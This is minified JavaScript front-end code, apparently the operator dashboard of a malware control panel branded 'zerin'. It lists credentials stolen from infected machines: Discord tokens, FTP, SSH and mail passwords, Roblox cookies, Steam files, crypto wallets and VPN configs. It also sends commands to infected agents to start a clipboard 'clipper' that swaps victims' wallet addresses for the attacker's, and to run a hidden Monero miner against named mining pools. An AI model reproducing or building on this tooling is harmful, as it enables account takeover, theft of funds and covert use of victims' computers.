border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ae=>w(G.token,ae),children:[G.token.slice(0,20),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(On,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((W=i.filezilla)==null?void 0:W.length)??0)+((($=i.winscp)==null?void 0:$.length)??0)+(((H=i.putty)==null?void 0:H.length)??0)+(((X=i.outlook)==null?void 0:X.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("div",{children:[s.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:G=>w(i.telegram.path,G),children:i.telegram.path})]}),(((se=i.telegram.files)==null?void 0:se.length)??0)>0&&s.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((ge=i.winscp)==null?void 0:ge.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((xe=i.putty)==null?void 0:xe.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:G.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user})]},re))})})]}),(((Y=i.outlook)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),!((ee=i.telegram)!=null&&ee.found)&&!((C=i.filezilla)!=null&&C.length)&&!((K=i.winscp)!=null&&K.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),s.jsx(On,{title:"Gaming Sessions",count:((ie=i.steam)!=null&&ie.found?1:0)+((ve=i.epic)!=null&&ve.found?1:0)+(((we=i.minecraft)==null?void 0:we.length)??0)+((_e=i.roblox)!=null&&_e.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[((L=i.steam)==null?void 0:L.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:s.jsx("span",{className:"text-blue-400",children:"Steam"})}),s.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[i.steam.loginusers&&s.jsxs("button",{onClick:()=>j(i.steam.loginusers,"loginusers.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"loginusers.vdf"]}),i.steam.config&&s.jsxs("button",{onClick:()=>j(i.steam.config,"config.vdf"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"config.vdf"]}),(de=i.steam.ssfn_files)==null?void 0:de.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))]})]}),((q=i.epic)==null?void 0:q.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),s.jsxs("button",{onClick:()=>j(i.epic.config,"GameUserSettings.ini"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"GameUserSettings.ini"]})]}),(((te=i.minecraft)==null?void 0:te.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",i.minecraft.length,")"]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:i.minecraft.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,`${G.launcher}_accounts.json`),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.launcher]},re))})]}),((me=i.roblox)==null?void 0:me.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),i.roblox.cookie?s.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:G=>w(i.roblox.cookie,G),children:[".ROBLOSECURITY: ",i.roblox.cookie.slice(0,40),"..."]}):i.roblox.cookie_file?s.jsxs("button",{onClick:()=>j(i.roblox.cookie_file,"RobloxCookies.dat"),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"RobloxCookies.dat"]}):null]}),!((V=i.steam)!=null&&V.found)&&!((Z=i.epic)!=null&&Z.found)&&!((fe=i.minecraft)!=null&&fe.length)&&!((E=i.roblox)!=null&&E.found)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),s.jsx(On,{title:"Crypto Wallets",count:((oe=i.wallets)==null?void 0:oe.length)??0,expanded:d.has("wallets"),onToggle:()=>g("wallets"),children:(J=i.wallets)!=null&&J.length?s.jsx("div",{className:"space-y-3 p-4",children:i.wallets.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-amber-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),s.jsx(On,{title:"VPN Configs",count:((pe=i.vpn)==null?void 0:pe.length)??0,expanded:d.has("vpn"),onToggle:()=>g("vpn"),children:(be=i.vpn)!=null&&be.length?s.jsx("div",{className:"space-y-3 p-4",children:i.vpn.map((G,re)=>s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[s.jsx("span",{className:"text-emerald-400",children:G.name}),s.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",G.files.length," file",G.files.length!==1?"s":"",")"]})]}),s.jsx("div",{className:"flex flex-wrap gap-1.5",children:G.files.map((ae,Oe)=>s.jsxs("button",{onClick:()=>j(ae.data,ae.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),ae.name]},Oe))})]},re))}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((ke=i.errors)==null?void 0:ke.length)??0)>0&&s.jsx(On,{title:"Errors",count:i.errors.length,expanded:d.has("errors"),onToggle:()=>g("errors"),children:s.jsx("div",{className:"p-4 space-y-1",children:i.errors.map((G,re)=>s.jsxs("div",{className:"text-xs",children:[s.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[G.source,":"]})," ",s.jsx("span",{className:"text-zerin-danger",children:G.error})]},re))})})]}),v&&s.jsx("div",{className:`fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent\r pointer-events-none animate-fade-in`,style:{left:v.x,top:v.y,transform:"translate(-50%, -100%)"},children:v.text}),!i&&!o&&!c&&s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"Credential Recovery"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Click ",s.jsx("span",{className:"font-semibold text-zerin-accent",children:"Grab Credentials"})," to recover saved passwords, cookies, tokens, and more."]})]})})]})}function On({title:e,count:t,expanded:n,onToggle:r,children:i}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsxs("button",{onClick:r,className:`w-full flex items-center gap-2 px-4 py-2.5 text-left\r hover:bg-zerin-panel-hover transition-colors`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),s.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&s.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}const KU=[{key:"btc",label:"Bitcoin (BTC)",placeholder:"bc1q... or 1.../3...",color:"text-orange-400"},{key:"eth",label:"Ethereum (ETH)",placeholder:"0x...",color:"text-blue-400"},{key:"ltc",label:"Litecoin (LTC)",placeholder:"L.../M.../ltc1...",color:"text-gray-300"},{key:"xmr",label:"Monero (XMR)",placeholder:"4...",color:"text-orange-300"},{key:"doge",label:"Dogecoin (DOGE)",placeholder:"D...",color:"text-yellow-400"},{key:"sol",label:"Solana (SOL)",placeholder:"Base58 address",color:"text-purple-400"},{key:"xrp",label:"Ripple (XRP)",placeholder:"r...",color:"text-blue-300"},{key:"trx",label:"Tron (TRX)",placeholder:"T...",color:"text-red-400"},{key:"bnb",label:"BNB Chain",placeholder:"bnb1...",color:"text-yellow-300"}],qU={btc:"",eth:"",ltc:"",xmr:"",doge:"",sol:"",xrp:"",trx:"",bnb:""};function S2(e,t){if(!t)return null;switch(e){case"btc":return t.startsWith("bc1")&&t.length>=25&&t.length<=62||(t.startsWith("1")||t.startsWith("3"))&&t.length>=25&&t.length<=34?null:"Invalid BTC address";case"eth":return/^0x[0-9a-fA-F]{40}$/.test(t)?null:"Invalid ETH address (0x + 40 hex)";case"ltc":return t.startsWith("ltc1")&&t.length>=25||(t.startsWith("L")||t.startsWith("M"))&&t.length>=26&&t.length<=34?null:"Invalid LTC address";case"xmr":return t.startsWith("4")&&t.length===95?null:"Invalid XMR address (starts with 4, 95 chars)";case"doge":return t.startsWith("D")&&t.length===34?null:"Invalid DOGE address";case"sol":return t.length>=32&&t.length<=44?null:"Invalid SOL address (32-44 chars)";case"xrp":return t.startsWith("r")&&t.length>=25&&t.length<=35?null:"Invalid XRP address";case"trx":return t.startsWith("T")&&t.length===34?null:"Invalid TRX address";case"bnb":return t.startsWith("bnb1")&&t.length===42?null:"Invalid BNB address"}return null}function YU({agentId:e,agentStatus:t}){const[n,r]=p.useState({...qU}),[i,a]=p.useState(!1),[o,l]=p.useState(!1),[c,u]=p.useState(null),[d,f]=p.useState({}),m=t==="dead",h=(b,w="ok")=>{u({text:b,type:w}),setTimeout(()=>u(null),3e3)},x=(b,w)=>{r(k=>({...k,[b]:w}));const j=S2(b,w);f(k=>{const S={...k};return j?S[b]=j:delete S[b],S})},g=Object.entries(n).some(([b,w])=>w&&!d[b]),y=p.useCallback(async()=>{if(m)return;const b={};for(const[w,j]of Object.entries(n))if(j){const k=S2(w,j);k&&(b[w]=k)}if(f(b),Object.keys(b).length>0){h("Fix validation errors first","err");return}l(!0);try{const w={};for(const[j,k]of Object.entries(n))k&&(w[j]=k);await Ee(e,{command:"clipper_config",args:[JSON.stringify(w)]}),h("Config sent to agent")}catch(w){h(w instanceof Error?w.message:"Failed","err")}finally{l(!1)}},[e,n,m]),v=p.useCallback(async()=>{if(!m){l(!0);try{if(!i&&g){const b={};for(const[w,j]of Object.entries(n))j&&(b[w]=j);await Ee(e,{command:"clipper_config",args:[JSON.stringify(b)]})}await Ee(e,{command:i?"clipper_stop":"clipper_start"}),a(!i),h(i?"Clipper stop sent":"Clipper start sent")}catch(b){h(b instanceof Error?b.message:"Failed","err")}finally{l(!1)}}},[e,i,n,g,m]);return s.jsxs("div",{className:"p-6 animate-fade-in space-y-6",children:[c&&s.jsx("div",{className:`fixed top-4 right-4 z-50 px-4 py-2 text-sm font-medium shadow-lg ${c.type==="ok"?"bg-emerald-500/20 border border-emerald-500/40 text-emerald-400":"bg-zerin-danger-dim border border-zerin-danger/40 text-zerin-danger"}`,children:c.text}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-3 h-3 rounded-full ${i?"bg-emerald-500 animate-pulse":"bg-zinc-600"}`}),s.jsxs("span",{className:"text-sm font-semibold text-zerin-text",children:["Crypto Clipper ",i?"(Active)":"(Inactive)"]})]}),s.jsxs("button",{onClick:v,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium px-4 py-2 transition-colors disabled:opacity-30 disabled:cursor-not-allowed ${i?"bg-zerin-danger hover:bg-red-600 text-white":"bg-emerald-600 hover:bg-emerald-500 text-white"}`,children:[o?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):i?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),i?"Stop Clipper":"Start Clipper"]}),s.jsx("button",{onClick:y,disabled:o||m||!g,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:"Save Config"}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),s.jsx("div",{className:"grid grid-cols-1 lg:grid-cols-2 xl:grid-cols-3 gap-4",children:KU.map(({key:b,label:w,placeholder:j,color:k})=>s.jsxs("div",{className:"space-y-1",children:[s.jsx("label",{className:`text-xs font-semibold ${k}`,children:w}),s.jsx("input",{type:"text",value:n[b],onChange:S=>x(b,S.target.value),placeholder:j,className:`w-full bg-zerin-bg border px-3 py-2 text-sm font-mono text-zerin-text placeholder-zerin-text-muted focus:outline-none focus:ring-1 transition-all ${d[b]?"border-zerin-danger/50 focus:border-zerin-danger focus:ring-zerin-danger/20":"border-zerin-panel-border focus:border-zerin-accent/50 focus:ring-zerin-accent/20"}`}),d[b]&&s.jsx("p",{className:"text-[10px] text-zerin-danger",children:d[b]})]},b))}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-2",children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text-dim uppercase tracking-wider",children:"How it works"}),s.jsxs("ul",{className:"text-xs text-zerin-text-muted space-y-1 list-disc list-inside",children:[s.jsx("li",{children:"Monitors clipboard for crypto wallet addresses"}),s.jsx("li",{children:"Automatically replaces detected addresses with your wallets"}),s.jsx("li",{children:"Supports BTC (bech32 + legacy), ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB"}),s.jsx("li",{children:"Uses AddClipboardFormatListener (event-driven, zero CPU when idle)"}),s.jsx("li",{children:"Config can be updated while running"})]})]})]})}const z2=["pool.hashvault.pro:443","pool.supportxmr.com:443","xmr-eu1.nanopool.org:14433","gulf.moneroocean.stream:10128"];function GU({agentId:e,agentStatus:t}){const[n,r]=p.useState(z2[0]),[i,a]=p.useState(""),[o,l]=p.useState(""),[c,u]=p.useState(50),[d,f]=p.useState(!1),[m,h]=p.useState(null),[x,g]=p.useState(null),y=p.useRef(null),v=t==="dead",b=(x==null?void 0:x.running)??!1,w=(z,_)=>{h({text:z,type:_}),setTimeout(()=>h(null),5e3)};p.useEffect(()=>{if(!e)return;const z=async()=>{try{const _=await Un(e),A=(_.tasks??[]).filter(O=>O.command==="miner_status").sort((O,P)=>new Date(P.created_at).getTime()-new Date(O.created_at).getTime());if(A.length>0){const O=A[0],P=(_.results??[]).find(I=>I.task_id===O.id);if(P!=null&&P.output)try{const I=JSON.parse(P.output);g(I)}catch{}}}catch{}};return z(),y.current=setInterval(z,5e3),()=>{y.current&&clearInterval(y.current)}},[e]);const j=async()=>{if(!i.trim()){w("Wallet address is required","err");return}f(!0);try{await Ee(e,{command:"miner_start",args:[n,i.trim(),o||"worker",String(c)]}),w("Miner start command sent","ok"),setTimeout(async()=>{try{await Ee(e,{command:"miner_status"})}catch{}},3e3)}catch(z){w(z instanceof Error?z.message:"Failed to start","err")}finally{f(!1)}},k=async()=>{f(!0);try{await Ee(e,{command:"miner_stop"}),g(null),w("Stop command sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to stop","err")}finally{f(!1)}},S=async()=>{try{await Ee(e,{command:"miner_status"}),w("Status request sent","ok")}catch(z){w(z instanceof Error?z.message:"Failed to query status","err")}},N=z=>{const _=Math.floor(z/3600),A=Math.floor(z%3600/60),O=Math.floor(z%60);return _>0?`${_}h ${A}m ${O}s`:A>0?`${A}m ${O}s`:`${O}s`};return s.jsx("div",{className:"p-6 animate-fade-in",children:s.jsxs("div",{className:"max-w-2xl mx-auto space-y-6",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 bg-amber-500/10 flex items-center justify-center",children:s.jsx("svg",{className:"w-4 h-4 text-amber-400",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})})}),s.jsxs("div",{children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text",children:"XMR Miner"}),s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Monero CPU mining via XMRig"})]}),b&&s.jsxs("span",{className:"ml-auto flex items-center gap-1.5 text-xs font-medium text-amber-400",children:[s.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-amber-400 animate-pulse"}),"MINING"]})]}),m&&s.jsx("div",{className:`px-3 py-2 text-xs font-mono ${m.type==="ok"?"bg-emerald-500/10 text-emerald-400 border border-emerald-500/20":"bg-red-500/10 text-red-400 border border-red-500/20"}`,children:m.text}),b&&x&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Mining Stats"}),s.jsx("button",{onClick:S,className:"text-xs text-zerin-text-muted hover:text-zerin-accent transition-colors",children:"Refresh"})]}),s.jsxs("div",{className:"p-4 grid grid-cols-2 gap-4",children:[s.jsx(xa,{label:"Hashrate (10s)",value:x.hashrate_10s!=null?`${x.hashrate_10s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Hashrate (60s)",value:x.hashrate_60s!=null?`${x.hashrate_60s.toFixed(1)} H/s`:"-"}),s.jsx(xa,{label:"Accepted",value:x.accepted!=null?String(x.accepted):"-",valueClass:"text-emerald-400"}),s.jsx(xa,{label:"Rejected",value:x.rejected!=null?String(x.rejected):"-",valueClass:x.rejected&&x.rejected>0?"text-red-400":void 0}),s.jsx(xa,{label:"Uptime",value:x.uptime!=null?N(x.uptime):"-"}),s.jsx(xa,{label:"PID",value:x.pid!=null?String(x.pid):"-"})]}),x.error&&s.jsx("div",{className:"px-4 pb-3",children:s.jsx("p",{className:"text-xs text-red-400 font-mono",children:x.error})})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-xs font-semibold text-zerin-text uppercase tracking-wider",children:"Configuration"})}),s.jsxs("div",{className:"p-4 space-y-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Pool"}),s.jsx("select",{value:n,onChange:z=>r(z.target.value),disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:z2.map(z=>s.jsx("option",{value:z,children:z},z))})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Wallet Address"}),s.jsx("input",{type:"text",value:i,onChange:z=>a(z.target.value),placeholder:"4...",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r focus:outline-none focus:border-zerin-accent/50\r disabled:opacity-40 disabled:cursor-not-allowed transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Worker Name"}),s.jsx("input",{type:"text",value:o,onChange:z=>l(z.target.value),placeholder:"worker (default: hostname)",disabled:v||b,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm 